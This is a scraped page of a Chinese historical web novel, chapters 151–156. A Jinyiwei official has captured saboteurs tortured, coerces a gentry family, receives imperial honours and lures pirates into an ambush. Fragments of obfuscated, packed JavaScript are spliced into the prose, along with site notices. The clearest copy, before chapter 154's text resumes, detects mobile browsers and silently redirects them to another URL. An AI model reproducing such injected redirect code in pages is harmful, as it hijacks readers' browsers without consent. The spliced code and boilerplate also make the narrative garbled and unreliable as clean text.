牢头也很郁闷,原本在这大狱之中混混日子打打钱,偶尔还有上面那些官老爷的打点,好不自在。 但自从前些日子,整个苏州府的风向似乎就开始转变了,原本在苏州府没什麽话语权的锦衣卫开始威风了起来,这让牢头嗅到了一丝不同寻常的味道。 直到前几日,苏州城外有十几万叛军集结,光是那震天的喊杀之声,就让牢头有些腿软,生怕叛军攻㣉苏州城,血洗大狱。 当叛军被尽数诛灭之後,得到消息的牢头无比惊喜的同时也感到无比震惊。 叛军可是号称三十万,即便没有三十万,那也是极其吓人的,牢头光听那不断轰鸣的炮火之声,就能想象到此战死了多少人。 当他得知统兵平叛的不是别人,正是锦衣卫的一个百户的时候,牢头终於明白了一件事,苏州城变天了,甚至整个江南都要变天了。 锦衣卫是什麽人?那可是皇帝的人,如今的一切都在表明一件事,朝廷在苏州府乃至江南,将那些豪绅和官老爷们压下去了。 这让牢头顿时感到脊背发寒,意识到将来的日子可能不好过了,毕竟他们这些人都是土生土长的苏州人,和本地豪绅之间的关系错综复杂,即便是牢头想要摘清其中的关系,谁又能保证他手下的这些狱卒会不会乱来呢? 牢头很清楚,但凡有个狱卒敢乱来,他这个牢头算是到头了,体面一点的是被换掉,甚至可能直接被清洗,想活下来都是奢望。 所以这几天牢头严防死守,恨不得盯紧手下每一个狱卒,今日送进来的这些人,牢头甚至看都不看,一句都不多问。 所以狱卒问他,他才会是这种反应。 正在牢头胡思乱想的时候,大狱的大门打开了,首先进来的是一群穿着蓑衣的锦衣卫,分列两侧,这让牢头挺直了腰板。 有大人物要来。 这是牢头内心的第一反应。 而且绝非一般的大人物,牢头甚至看到了站在这两排之中的好几位锦衣卫,要麽是总旗,要麽是百户,这些他以前都有过一面之缘。 作为牢头,别的本事没有,记人那是天赋异禀。 这让他愈发心惊胆战,心中对於即将到来的大人物有了些许猜测,牢头下意识的看了一眼旁边的狱卒,生怕自己这些属下给自己捅娄子,这要是捅出大篓子,牢头都不敢想会是什麽後果。 紧接着进来的不是别人,正是苏州府的锦衣卫千户陈昭,陈昭此时也穿着蓑衣,但手中却是举着一把伞,进来之後将伞收了起来。 後面跟着进来的是一个年轻人,虽然年纪不大,但只是一个眼神,就让牢头心胆俱寒,急忙低下头,生怕再次被注意到。 周楚刚一进㣉苏州府的大狱,忍不住皱了皱眉头,连日的梅雨天气,让整个大狱之中充斥着一股难以形容的味道。 和苏州府的大狱一比,京城的大狱显得乾爽了很多,也没什麽太大的异味。 周楚将手上的鹿皮手套摘了下来,随手递给了陈昭,陈昭恭敬的接了过来,梅雨天气戴一双鹿皮手套能有效地防雨水。 搜书名找不到, 可以试试搜作者哦, 也许只是改名了! “谁是牢头?” 周楚看了一眼下方的众人,问道。 “回大人的话,小人正是。” 牢头听到这话,心里一哆嗦,急忙出列道。 “回头让人好好弄一下这大狱,这才下几天雨,就这个味道了?再下十几天,还能进人吗?” 周楚神情不悦道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你们杀了我吧。” 眼前的男人满目狰狞道。 就他这一嘴的血,也很难不面目狰狞。 “想的倒挺美,到了锦衣卫手里,本官让你知道什麽是想死都难。” 周楚也不和他多说,转头看向了身後的陈昭。 “有负责刑讯的人吗?” “大人,咱们锦衣卫什麽都缺,就是不缺这方面的人才。” 陈昭一听这话,脸色顿时兴奋了起来。 第152章 招供,壮士断腕的陈经,意外收获 事实证明,专业的事还得交给专业的人来做。 锦衣卫这些刑讯的手段,周楚看了都直皱眉头,有些看不下去。 “大人,污了您的眼,属下罪该万死。” 负责刑讯的是一个四十多岁的锦衣卫,专门乾的就是刑讯的活,刑讯的手段数不胜数,甚至周楚都闻所未闻。 眼看周楚皱着眉头,他吓得急忙停止,来到周楚面前,神情恭敬道。 “没事,你弄你的,别弄死就行。” 周楚说完这话,觉得自己在场好像影响此人发挥,於是乾脆转身离开了刑讯房。 那名锦衣卫眼看着周楚离开了,原本不自在的感觉顿时消失不见,一种身在主场的感觉油然而生。 “方才周大人在,我还不敢拿出全部的手段,怕污了大人的眼睛,现在你最好不要这麽快招供。” 此人满脸兴奋地看着被捆着的犯人说道。 事实证明,这些死士不愧是死士,直到换到第五个,终於找到了突破口。 “大人,招了!” 陈昭振奋道。 “哦?我还以为他们都不会开口呢。” 周楚有些意外道。 刑讯一道,对犯人而言,一般讲究一鼓作气,心中憋着那股气,就很难撬开他们的嘴,再痛苦的刑讯手段都起不到多大的作用。 这一点不止周楚清楚,陈昭等人也清楚。 所以锦衣卫的刑讯手段,讲究的便是一张一弛,不能让犯人的那口气时刻紧绷着,还要适当的舒缓他的情绪和精神,如此一来,当犯人下次刑讯的时候,痛苦会加倍。 或者换种说法,犯人心中那股气少了一半,承受能力就弱了很多。 所以一般刑讯,特别是面对这种死士,第一次撬不开的话,就会慢慢来,一张一弛,才是刑讯之道。 不过这次抓到的人有十几个,这个不行还可以下一个,所以刑讯官倒也没留手,只要弄不死就行,总有那麽一两个相对意志薄弱一些的。 周楚从刑讯官手中接过供词,在上面发现了一个熟悉的名字。 陈经。 当然,陈家只是其中之一,这次的掘堤事件,是华亭县三四个士绅家族共同谋划的。 整个江南,哪里的士绅最恨周楚,那无疑是华亭县了,有刘大漠的册子在,华亭县的土地是被清丈的最彻底的。 而且叛乱发生的时候,华亭县的锦衣卫正在处理当地的土地问题,整个华亭县的锦衣卫相对於其他县要多很多。 因此整个华亭县的豪绅是被抢掠最严重的,有些甚至没来得及转移,就被抄家灭门了。 这些死士并非来自一家,不过是几家串联之後,每家出几人,毕竟死士的培养无论是时间还是精力,亦或是钱财,消耗都特别大。 最重要的是要挑选忠心不二的,真正的死士,几十个里面能挑出两三个就不错了,不然就会造成如今的结果,这招供的死士显然就是没有精挑细选的结果。 此时的华亭县,陈经满脸愤怒地看着自己的小儿子。 “你是说,你派人联合其他几家,去掘苏州府的堤坝?” 陈经刚得到这个消息的时候,差点一口气没上来。 “爹,您儿媳和两个孙子都死在周楚手上,难道您就不恨他吗?” 陈经的小儿子如今才三十多,算得上老来得子了,一直以来陈经对他都是很宠爱的,这也造就了他骄纵的性子。 前些天猛然遭受如此剧变,他的正妻和两个儿子还没来得及转移到乡下,那些假扮叛军的锦衣卫就杀了过来。 所以他内心对周楚,对锦衣卫,甚至对整个朝廷都恨极了。 同样遭逢巨变的,还有他几个狐朋狗友,虽然几人都很纨絝,但毕竟也都三四十了,在家族之中也掌握了一定的权柄,掌握着几个死士。 几人都恨得牙痒痒,在一起一合计,便纷纷派出死士,前往苏州府的堤坝,准备将堤坝掘开。 陈经听到这话,血压直线飙升,深吸了两口气。 “你难道不知道此举会为我陈家带来灭顶之灾吗?” 陈经怒吼道。 “爹,你也太胆小怕死了,先不说会不会被抓到,就算被抓到了,这些都是死士,也不会把我们家供出去。” 陈经的小儿子满不在乎道。 陈经听到这话,二话不说,直接抡起自己的拐杖就打,把他的小儿子打的抱头鼠窜。 打完之後,陈经瘫坐在椅子上,满脸灰败。 “完了!陈家完了!” 别人不了解周楚,陈经还不了解吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原本的锦衣卫临时衙门,此时已经成了常设衙门,不过除了华亭县之外,其他县的锦衣卫衙门只有那麽几位锦衣卫值班,而且采取的是轮值制度,为的就是防止锦衣卫衙门的锦衣卫被当地士绅收买。 “周大人,老朽知道一处倭寇藏匿的地点,老朽不指望活命,只求周大人能给陈家留个后。” 还没等周楚说话,陈经直接表态道。 本站采用Cookie技术来保存您的「阅读记录」和「书架」, 所以清除浏览器Cookie数据丶重装浏览器 之类的操作会让您的阅读进度消失哦, 建议可以偶尔截图保存书架, 以防找不到正在阅读的小说! 第153章 官复锦衣卫指挥使,兼任江南总督,嘉靖的赏赐 对於陈经的果断,周楚有些意外。 原本周楚还有些不解,陈经这种人,几十年宦海浮沉,人老成精的,怎麽会做这种蠢事。 此时看到旁边被捆的像个粽子,连嘴都塞了起来用绳子捆住的陈经的小儿子,周楚似乎明白了什麽。 “果然是纨絝子毁三代啊。” 周楚似笑非笑道。 陈经听到这话,眼神破败,并未反驳,此时的陈经哪还有以往指点江山的风采,彷佛一个风烛残年的老人。 周楚清楚,即使自己不杀陈经,这老头也活不了了,本身就七十多岁了,再加上如此惊吓和大变,倘若不是为了陈家,此时恐怕已经一病不起了。 既如此,自己便让他求仁得仁。 “说说吧,你说的这些倭寇有多少人,藏匿在哪里?” 既然陈经如此识趣,周楚也不和他拐弯抹角了,直接说道。 “这些倭寇有三千多人,具体人数老朽也不太清楚,为首的是一个叫刘潮的福建人,手下有一千多倭人,其他都是水匪海盗。” 陈经很聪明,并没有以此为要挟去和周楚谈条件,直接就说了出来。 “这伙倭寇隐匿在崇明县和松江府的交界处,原本的崇明县帮派众多,很适合他们隐藏,不过他们基本都是在海上抢劫,江南的不少家族和他们都有勾连,不过却很难掌控他们。” 陈经继续说道。 实际上如果不是很难掌控这些人,苏州府的那些士绅早就动用这批人来对付周楚了,这批倭寇基本上不在陆地上劫掠,基本都是出海,崇明县边界也不过是他们的一个老巢罢了。 “你态度还不错,本官可以放你们陈家一马,不过认罪画押的文书还是要签的,以後你们陈家替我锦衣卫办事,他必须得死。” 周楚指了指被捆着的陈经的小儿子说道。 至於陈经,周楚没说该如何处理,但周楚相信陈经应该是个聪明人,知道该怎麽做。 “如此,老朽多谢大人再造之恩。” 陈经说着扶着拐杖想要跪下,被周楚抬手阻止了。 陈经离开之後,周楚让跟着自己来的锦衣卫迅速展开了行动,将除了陈家之外的其他几家抄家的抄家,抓的抓。 陈经颤颤巍巍的回到家中,此时陈府之中,陈经的大儿子和二儿子都得到了消息,满脸担忧的等待着自己父亲的消息。 对於老三的做法,两人知道之後也都感到头皮发麻,自感大祸临头,偏偏这是松江府,是江南的地界,如今的周楚在江南可谓是只手遮天,他们即便是逃又能逃到哪里去呢? 去海上?恐怕还没出海,就被周楚的人拦下来了。 一时之间,两人都无比忐忑,在家中等待自己的老父亲,彷佛在等待审判一般,如坐针毡。 眼看着陈经颤颤巍巍的回来了,陈经的大儿子急忙小跑过去搀扶着自己的父亲。 陈经来到正厅,坐定之後看着自己的两个儿子,对於自己这两个儿子,陈经还是比较满意的。 “老三回不来了,我答应了周大人,以後陈家暗中替周大人效命,认罪状我也签了,倘若你们敢对不起周大人,周大人随时可以清算我们陈家。” 陈经此时已经比去的时候显得苍老了许多,说这些话的时候,说的很慢,很仔细。 “这对我陈家,倒也未必是坏事,周大人的崛起是必然的,未来大明形势如何,谁也说不好,你们切记,无论是做人做事,最忌讳的便是首鼠两端,既然站在了周大人这边,以後就要尽心尽力为周大人做事。” 陈经语重心长的嘱咐道。 “老三的家眷,回头都处理了吧,免得引起周大人的猜忌。” 陈经说这话的时候,眼神之中闪过一丝狠辣。 陈经的两个儿子听到这话,互相对视了一眼,他们很清楚,想要陈家延续,有些决断是必须要做的。 “爹放心吧,我这就让人去处理。” 老大恭敬道。 陈经听到这话,点了点头。 “周大人给我这把老骨头留足了面子,我也要识趣,我死之後,对外就说是病死的,切记切记,无论做任何事,一定要坚定,最怕好人做不成,坏人又不够坏,既然选择了跟周大人,就要彻底。” 陈经似乎有些不放心,不断地絮叨着。 陈经的两个儿子听到这话,顿时明白了老父亲的意思,纷纷跪在了陈经面前磕头,忍不住痛哭出声。 陈经死了,对外说是病死的,只有他的两个儿子知道,陈经是服毒自尽的。 “你叫什麽名字?” 周楚看着面前神情异常恭敬的陈家老大,问道。 “回大人的话,小人名昌,字子麟。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033950|148848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈家老大恭敬道。 “子麟,本官知道了。” 周楚摆了摆手,示意陈昌可以下去了。 对於陈家,周楚并不会一上来就画大饼,毕竟陈家才刚归附过来,刚过来就画大饼,那不是扯淡吗?毕竟之前还打生打死的。 周楚什麽都不用说,陈昌都会想着该如何表现,只有这样,才能跟紧周楚的步伐,陈昌考虑的不只是陈家的生存,既然攀上 了周楚这条大腿,他就会想办法抓紧。 如此又过了几日,朝廷的颁布旨意的队伍终於坐船抵达了苏州府。 “着周衡器官复锦衣卫指挥使,封长平侯,食邑千户,兼任江南省总督,全权负责东南剿倭事项,钦此。” 周楚接过圣旨,看着皇帝赏赐的一箱箱东西,其中有黄金,有丝绸。 如今的嘉靖自己都不知道自己有多少钱,自然赏赐的也就多了,当然,这些赏赐大多没写在明面上,而是嘉靖让人多放在里面的,毕竟所有的赏赐都是有规制的,不能逾越。 周楚只是大致看了一眼,单单是黄金就整整一箱,起码得有两三万两。 其他的古玩字画更不必说了,特别是那些名家字画,都是嘉靖特意挑选出来赏给周楚的。 “诸位舟车劳顿,好好休息,回头在这苏州府玩一玩,见识一下江南春光。” 周楚说完给了春兰一个眼神,春兰上前给每人发了十两银子的赏钱。 “多谢周大人的赏。” 在周楚面前,即便是宣读圣旨的太监也不敢拿乔,态度很是恭敬。 被封长平侯,周楚并不意外,这是之前嘉靖就承诺给自己的,意外的是居然有食邑,有食邑的侯爵和没有食邑的侯爵完全是两码事。 有了食邑,意味着周楚的爵位可以世袭下去,这一点很重要。 对於另外两项任命,周楚倒不意外,周楚很清楚,想要开海禁,必须得解决倭患,否则开海对沿海的百姓就会是一场灾难。 好巧不巧,前几日陈家给自己送来了一批倭寇的信息,这批倭寇不是撞枪口上了嘛。 本站采用Cookie技术来保存您的「阅读记录」和「书架」, 所以清除浏览器Cookie数据丶重装浏览器 之类的操作会让您的阅读进度消失哦, 建议可以偶尔截图保存书架, 以防找不到正在阅读的小说! 第154章 云瑾回苏州府,倭寇现身 隐藏在崇明县附近的这批倭寇在海上的时间显然更久,只有两三成的时间上岸享乐,崇明县很混乱,有很多青楼酒馆,做的便是这些人的生意。 当然,能在崇明县立足的青楼,也都是有些背景的,在这里开青楼,远比其他地方赚钱的多,因为无论是混帮会的,亦或是这些上岸的海盗,第一时间想的都是享乐。 他们这种人,来钱快,所以花的时候没什么感觉,说是挥金如土也不为过,毕竟很多人都是刀头舔血,说不定哪天就没了,及时行乐是他们的宗旨。 陈家在崇明县也有些生意,在加上本身和这批倭寇之间也有些联系,周楚便让陈昌盯着这批倭寇,等他们上岸的时候再动手,毕其功于一役。 梅雨天气一直持续着,前几日就有些叛军的尸体被冲出来了,为了防止出现瘟疫,周楚安排了军队的人着手将这些尸体开始焚烧。 为此还临时弄了不少炉子。 倒也不用烧成灰,只需要把这些尸体之中的水分烧干,就可以继续埋下去了,也就没了瘟疫的风险。 烧尸体出来的烟灰直接被雨水冲走了,并不会在苏州城萦绕,不得不说,任何事都是一体两面的。 这一日,周楚带着沈炼、林鹿以及非要跟来的林瑶等在码头。 林瑶不知道周楚在等什么人,却也知道自己不该多问,乖巧的站在一旁。 众人在雨中等了一刻钟左右,一艘巨大的宝船终于停靠在了码头上。 身穿一身亮银色战甲的云瑾率众从宝船上走了下来,云瑾身后跟着的正是方鸿和小刀。 近半年没见,云瑾和小刀都长高了许多,皮肤也都变成了小麦色,眉宇之间皆是英武。 “二哥。” 云瑾来到周楚面前,神色激动道。 在外面的时候,她是那个冷静理智的女将军,但在周楚面前,她瞬间就恢复了女儿态。 女人都是慕强的,都希望自己在更强者面前展现自己最脆弱的一面。 这半年的时间,云瑾的神经不说时刻紧绷,但无论是用兵打仗,亦或是训练的强度,都是她以前从未经历过的。 之前她是将军,所以无论面对什么局面,都不能露怯,因为所有人都在等着她拿主意。 很多时候很多事,她也是硬着头皮上的,因为没有经验,不能预知结局,所以心里没底。 此时见到周楚,云瑾才卸下了心中的重担,变成了以前那个每日跟在周楚身边的小女孩。 “瘦了许多。” 周楚有些心疼道。 一旁的林瑶看到这一幕,心中百味杂陈,内心无比羡慕云瑾,能帮衡器哥哥做事。 但林瑶自己知道自己有几分本事,论打架还行,但论领兵打仗,她是一窍不通。 更何况以她的身份,即便是想去领兵,无论是皇家还是德清公主都不会同意。 云瑾这次来苏州府,一来是想念周楚了,回来看看,二来是和周楚汇报一下如今玄武军的发展现状,以及规划一下未来要走的路。 这些事在信中一句两句是说不清楚的。 至于驻守在屯门岛的玄武军,则暂时由最早的一批玄武军之中选拔出来的一个千夫长在统帅。 至于王直,在周楚的刻意提拔之下,如今也成了玄武军的百夫长之一,但在玄武军之中,要论服众,还是最初的那一批,无论是战功还是威望,这些人都没的说。 毕竟后来的玄武军许多都是由这些人训练出来的。 “先去老师家吧。” 周楚说完这话,便翻身上马,码头旁边也早已为云瑾等人备好了马,众人骑马,直奔唐府而去。 无论是云瑾还是周楚,都是唐伯虎的弟子,论书法,周楚可能更胜一筹,但论丹青,云瑾可就比周楚强了不止一筹了。 德清公主来到苏州府之后,干脆客居在唐府,对此周楚是喜闻乐见的,唐伯虎自然也没什么意见。 对于云瑾的到来,周楚早就告诉了唐伯虎,所以唐伯虎早就让人备好了云瑾最爱吃的鲥鱼以及羊肉。 云瑾自小练武,食量比普通女孩子要大很多,平日里是顿顿有肉,相对于鹿肉,云瑾更喜欢吃羊肉。 特别是鲥鱼和羊肉炖在一起,鱼羊鲜,那叫一个美味。 “当年的小丫头一转眼就长大了。” 再次见到云瑾,看着云瑾眉宇之间的英气,唐伯虎有些心疼道。 唐伯虎很清楚,云瑾一个满打满算才十二岁的小女孩,在海上独自面对各种情况,会有多为难,云瑾如今变现的越成熟,说明她经历的事越多。 “老师,人总要长大的嘛,能帮到二哥,一直都是我的夙愿。” 云瑾说完这话,看向了一旁的周楚。 周楚听到这话,心中一阵触动。 周楚这么多年认识很多女孩子,但大多都跟不上周楚的步伐,似乎只有云瑾,能一直站在自己身边,帮自己分担了很大的压力。 而且云瑾现在是玄武军的统帅,周楚完全不必担心她的安危,不用担心因为自己连累到她。 不过两人注定要聚少离多,最起码这两年,倭寇彻底平定之前,云瑾还是要在海上漂着的。 等到倭寇彻底平定,开海之后,大明就该有了属于自己的海军了,到了那个时候,云瑾就可以轻松一些了。 “拜见公主殿下。” 云瑾看到德清公主,急忙行礼道。 “不必如此生分,你这孩子,当初在京城的时候,才多大点,如今突然长这么高了。” 德清公主看着云瑾,亲昵道。 倒不是云瑾长高了太多,只是因为当初云瑾在京城的时候,面相稚嫩,所以给人的感觉很小,如今再次见到,眉宇之间哪还有稚嫩,就会给人一种突然长高了许多的错觉。 “赶紧进屋吧,芸娘知道你要来,高兴地不得了,非要亲自下厨,炖了你最喜欢的鱼羊鲜。” 唐伯虎笑道。 听到吃的,云瑾眼睛顿时亮了,在海上这半年,虽说也是顿顿有肉,但那肉的做法让云瑾实在是难以恭维,如今听到了自己最爱吃的菜,顿感口齿生津。 如今的方鸿也变得没那么像女人了,毕竟日日在海上风吹日晒,显得粗犷了不少。 很快,众人便纷纷入座,开始大快朵颐,其中属方鸿、小刀和云瑾没吃相。 刚开始云瑾还注意一些,毕竟再怎么说她也算得上是大家闺秀,可是眼看着方鸿和小刀风卷残云一般,她顿时急了,也顾不得仪态了,直接上手抓了羊肉就啃。 半年的军旅生涯,让云瑾吃饭的姿态愈发狂放了。 德清公主等人倒也见怪不怪,她们都知道云瑾在外统兵,哪能处处都是小女儿姿态。 正当众人酒足饭饱的时候,沈炼走了过来。 “大人,陈昌传来消息,那批倭寇已经靠岸了。” 周楚听到这话,点了点头,并没有着急,因为他清楚,这些倭寇一旦上岸,就不是一天两天,肯定会享受一段时间。 “让他的人盯着这些倭寇。” 周楚打了个饱嗝道。 第155章 和沈炼林鹿逛青楼,周楚的谋划 崇明县,和苏州府的其他县都有所不同。 与其说是崇明县,倒不如说是崇明岛,一个河流入海冲积形成的岛屿,此时虽然还没有后世那么大的面积,但也比一般的县要大上不少。 整个崇明岛和其他县最大的区别就是很混乱,整个岛上要么是渔民,要么是混帮会的,三教九流,什么人都有。 不过大明建国以来都是海禁,很多渔民也只能偷偷出海,甚至有一部分渔民直接加入了海盗团。 周楚穿着便服,走在崇明岛的街道的巷子之中,崇明岛的街道虽然不至于混乱不堪,却也不像其他地方的街道那般整洁,整体看起来乱中有序。 崇明岛本地的人在这里如鱼得水,周楚等人如果不是有人带路的话,在这种错落的巷子之中很容易迷路。 这种巷子,也是崇明岛本地人的一种自我保护。 “公子,前面这条街便是做皮肉生意的,这里面大多是暗娼,不过即便是暗娼,背后也是有人的,在崇明岛,没有点背景的,早就被吃干抹净了。” 在周楚前面带路的是一个中年男人,此人名叫许多余,是陈家在崇明岛上的一个掌柜的,陈昌给他的命令是对周楚一定要恭敬,周楚说什么他便做什么。 能在崇明岛生存的都是人精,许多余听到家主这话,瞬间就明白了眼前这位公子是他招惹不起的人,甚至是陈家招惹不起的大人物。 “你说的那个孟洋在哪一家?” 周楚问道。 孟洋正是那一伙倭寇的三当家,此人极为好色,一旦上岸,第一时间就会来潇洒快活,周楚此行就是奔着孟洋来的。 这些倭寇上岸之后便一哄而散,各自潇洒去了,他们的老巢之中并没有留下多少人看守。 为了一网打尽,周楚准备找个由头把孟洋抓了,比如争风吃醋。 如此一来,那些倭寇自然不会善罢甘休,不说集结所有人,最起码在外面玩乐的这些人都会被召集回去。 如此一来,便可以围而歼之。 “公子随我来,孟洋最喜欢去的是春风楼,那里有他的姘头,叫红玉,是春风楼的头牌。” 许多余说着便加快脚步,带着周楚等人穿街过巷,很快面前就出现了一栋很是豪华的青楼,这座青楼和周围的建筑显得格格不入,上面赫然挂着春风楼三个字。 “行了,你先去忙吧。” 周楚摆了摆手道。 许多余听到这话,躬身行礼。 “小人就在那边候着,公子有事让人叫我一声即可。” 说完许多余就离开了。 周楚看了一眼眼前的春风楼,带着沈炼和林鹿走了进去。 为了防止打草惊蛇,周楚并没有带太多人前来,这种地方,一次出现太多生面孔,肯定会引起很多人的注意的。 当然,也不会一点人都不带,周楚不会将自己置身险地的,此时春风楼旁边的巷子里,已经隐藏了不少锦衣卫,这些锦衣卫都是精挑细选的,来过崇明岛,甚至去过春风楼的,算不上生面孔。 毕竟此时周楚还不能完全信任陈昌,倘若陈昌给自己做局,周楚也得有反制的手段。 除了这些锦衣卫之外,崇明岛外围,虎贲军蓄势待发,沈炼和林鹿手中都有令箭,情况稍有不对,周楚便会召集虎贲军。 “这位公子看着面生啊,第一次来咱们春风楼吗?” 周楚等人刚一进去,浓妆艳抹的老鸨满脸笑容道地扭着腰走了过来。 “确实是第一次来。” 对于老鸨有意无意的探底,周楚并未接话。 老鸨听到这话,有些意外,她这么一说,一般人都会稍微解释一下,但眼前的这个年轻人却连一句解释都欠奉,而且看他那说话的语气。 此人的身份非同一般,非富即贵。 老鸨迅速得出了结论。 “三位里面请。” 老鸨瞬间换了一副面孔,没了盘问的味道,满脸都是谄媚。 周楚听到这话,也不客气,信步走了进去。 倒是第一次来这种地方的沈炼和林鹿两人,看着春风楼之中那些衣着暴露的女人,一个个面红耳赤。 “公子身后的这两位?” 老鸨看到他俩的反应,笑道。 “他俩还都是雏,原本想带着他们去我们那的青楼开开眼的,结果他俩怕在本地传出去不好,死活不愿意,我这才带着他俩来了这里。” 周楚有些不屑的看着沈炼两人道。 老鸨一听这话,顿时恍然。 “早就听闻春风楼不一般,里面的姑娘一个比一个身段好,会的还多,一直都想来。” 周楚略显轻浮道。 “这话您倒是说对了,整个苏州府,能比得上我们春风楼的可不多,我们春风楼姑娘会的,其他地方的那些小婊子可不会。” 老鸨一边说着,一边引着周楚等人来到了一个厢房之中。 周楚等人坐定之后,一道道精美的小菜被端了上来。 “公子可有认识的姑娘?” 老鸨看着周楚道。 老鸨这话也只是例行询问,一般新来的客,很少有相熟的姑娘。 但周楚偏偏要点钟。 “我听朋友说过,你们春风楼的红玉,那叫一个滋润,叫过来让本公子瞧瞧。” 红玉是春风楼的头牌,老鸨听到这话并不意外,只是脸色有些为难。 “怎么?” 周楚眉毛一挑道。 “不是妈妈我不想为公子叫,实在是红玉这会有客,不大方便。” 老鸨并没说叫不来,只是说不大方便,无非是待价而沽罢了。 青楼这种地方,哪有道义可言,这里只要钱给的够多,正在床上的姑娘都能给你叫过来。 周楚拿出一张一百两的银票放在桌子上,老鸨看到银票的面额,眼睛都直了。 “本公子也不强人所难,只要你把她叫来,陪我们兄弟几人喝喝酒聊聊天,这一百两便是你的了,今日本公子倒是想见识见识这红玉姑娘是如何的滋润。” 周楚一副纨绔子弟的做派道。 “公子稍等,我就去给您把红玉叫来。” 老鸨不动声色的将银票收入怀中道。 第156章 剿倭,开战!火炮的轰鸣! “老子倒要看看,那个王八蛋吃了熊心豹子胆了,敢和老子抢女人?” 周楚没等来所谓的红玉,等来了一个虎背熊腰,脸上带着伤疤的男人,此人不是别人,正是周楚要找的孟洋。 “怎么?本少爷花钱了!” 周楚一副纨绔子弟的做派道。 “我看你是找死。” 孟洋说完也不和周楚废话,不知从哪摸出一把刀,拔刀就向周楚杀了过去。 老鸨在一旁观战,恨不得孟洋将周楚杀死,如此一来她钱到手了,人还是孟洋杀的,一举两得,何乐而不为? 孟洋还没近周楚的身,就被沈炼拦了下来,单论武功,整个大明很少有人是沈炼的对手,这货是顶级的天赋再加上最顶级的名师。 而且跟在周楚身边的这些日子,沈炼练功需要用到的资源,周楚都是供足的。 即便是周楚早已经转练了王阳明的武功,但单论武学天赋,周楚自认和沈炼差距不是一星半点,更不用说孟洋这种野路子了。 沈炼的刀极快,当然,来之前周楚特意给沈炼和林鹿配置了两把新刀,不然绣春刀一出,底细全漏了。 周楚等人只感觉眼前一花,孟洋持刀的右臂就被沈炼斩了下来,孟洋的肩膀瞬间喷出很多血,溅的整个包厢都是。 孟洋慌忙捂住肩膀,痛的龇牙咧嘴。 “你们等着,我非弄死你们不可。” 不愧是能当三当家的狠人,胳膊都掉了,还不忘放狠话。 一旁的老鸨看到这一幕,顿时傻眼了,周楚这三人对她而言来历不明,杀了也就杀了,但孟洋是谁?那可是倭寇里的三当家,惹了这位,回头那些倭寇还不把自己的春风楼荡平了? 老鸨能开春风楼,自然是手眼通天的,知道很多人不知道的信息,但即便有些背景,贸然惹了倭寇的三当家,也不是她春风楼能承担的。 那些倭寇一旦不管不顾,什么背景都没用,他们顶多是杀人放火之后逃到海上去,遭殃的可是春风楼。 一想到这里,老鸨冷汗都下来了,急忙来到周楚等人面前。 “几位公子,当我们春风楼是什么去处?这里可不是你们能放肆的。” 老鸨这话刚说完,旁边迅速涌入十几位春风楼的护院。 看到这一幕,周楚倒是有些兴奋了,自从沈炼跟着自己以后,周楚基本上用不着自己动手,每日练功,自然忍不住手痒。 “哦?你春风楼有多大的脸?本少倒是不清楚,如果真像你说的这般厉害,为何方才此人动手的时候你不阻止?无非是怕他和他背后的势力罢了,欺软怕硬的货,也敢在本少面前嚣张。” 周楚不屑道。 这话直接将老鸨的遮羞布扯开了,老鸨顿时恼羞成怒,直接挥手示意后面的护院将周楚几人抓起来。 周楚倒也不客气,直接拔出佩刀,和沈炼林鹿一刀一个,不到片刻,十几个护院竟然尽数被斩杀。 “你!你!你!” 老鸨看到眼前的一幕,指着周楚,不知道该说些什么。 春风楼之中的其他客人早就听到了这边的动静,不过都见怪不怪了,能来这里的客人又有几个干净的?春风楼争风吃醋的事时有发生,没人会因为好奇凑热闹。 谁也不知道会不会因此给自己招惹出祸端来,在崇明岛生存下来的,都能很好的控制自己的好奇心。 孟洋被周楚等人带走了,老鸨没杀,专门留下来传话的。 很快,以刘潮为首的倭寇全都得到了消息,特别是刘潮,整个崇明岛帮派势力很多,但哪个敢招惹他们?他们虽然长时间不在岛上,也不喜欢惹事,但这不代表别人可以骑在他们头上拉屎拉尿。 倘若此次不处理好,以后整个崇明岛谁还怕他们?在这种地方混,讲究的就是一个狠字。 “把所有人都叫回来,老子倒想知道是谁吃了熊心豹子胆,敢动我的人。” 刘潮满脸凶狠道。 “刘桑,孟桑是因为什么和这些人发生冲突的?” 刘潮手下的二当家,是一个东瀛人,叫渡边十三郎,他们家这个姓是因为他的祖宗是在河边被生下来的,后来干脆姓了渡边,因为河边不好听。 “还能因为什么?这小子管不住自己的裤裆,早就和他说过,让他改一改这个毛病,不听,因为这个和几个外地来的毛头小子发生冲突,胳膊还被砍了。” 刘潮气急败坏道。 刘潮很清楚,哪怕把孟洋救回来,少了一条胳膊的他也不能再胜任三当家这个职务了。 “刘桑确实太好色了点,不过我们做海盗的图的不就是个吃喝玩乐吗,如果不能玩女人,还有个什么乐趣。” 渡边十三郎嘿嘿笑道。 道理是这么个道理,刘潮也明白,他手下的哪个不好色?孟洋不过是因此出事罢了。 很快,刘潮的所有手下都被叫了回来,足足三千多人海盗聚集在一起,声势极为浩大。 “兄弟们,你们的三当家被人抓走了,我们该怎么办?” 刘潮看着下方的人群,大喊道。 “杀!杀!杀!” 人群之中顿时爆发出冲天的喊杀之声。 他们却不知道,周楚早就带着虎贲军隐藏在附近,甚至更外围的地方,江南省的军队已经在慢慢向这边合拢了。 周楚既然要对这些倭寇动手,那就要全歼,自然不会给他们逃跑的机会,负责盯梢的虎贲军确认再没有倭寇回巢之后,来到了周楚面前。 “大人,倭寇已经聚齐了。” “那就杀进去。” 周楚开始挥动手中的战旗,虎贲军看到战旗开始分梯队一批批向倭寇巢穴压了过去,到了一定的地方之后,虎贲军全都停下,伺机待发。 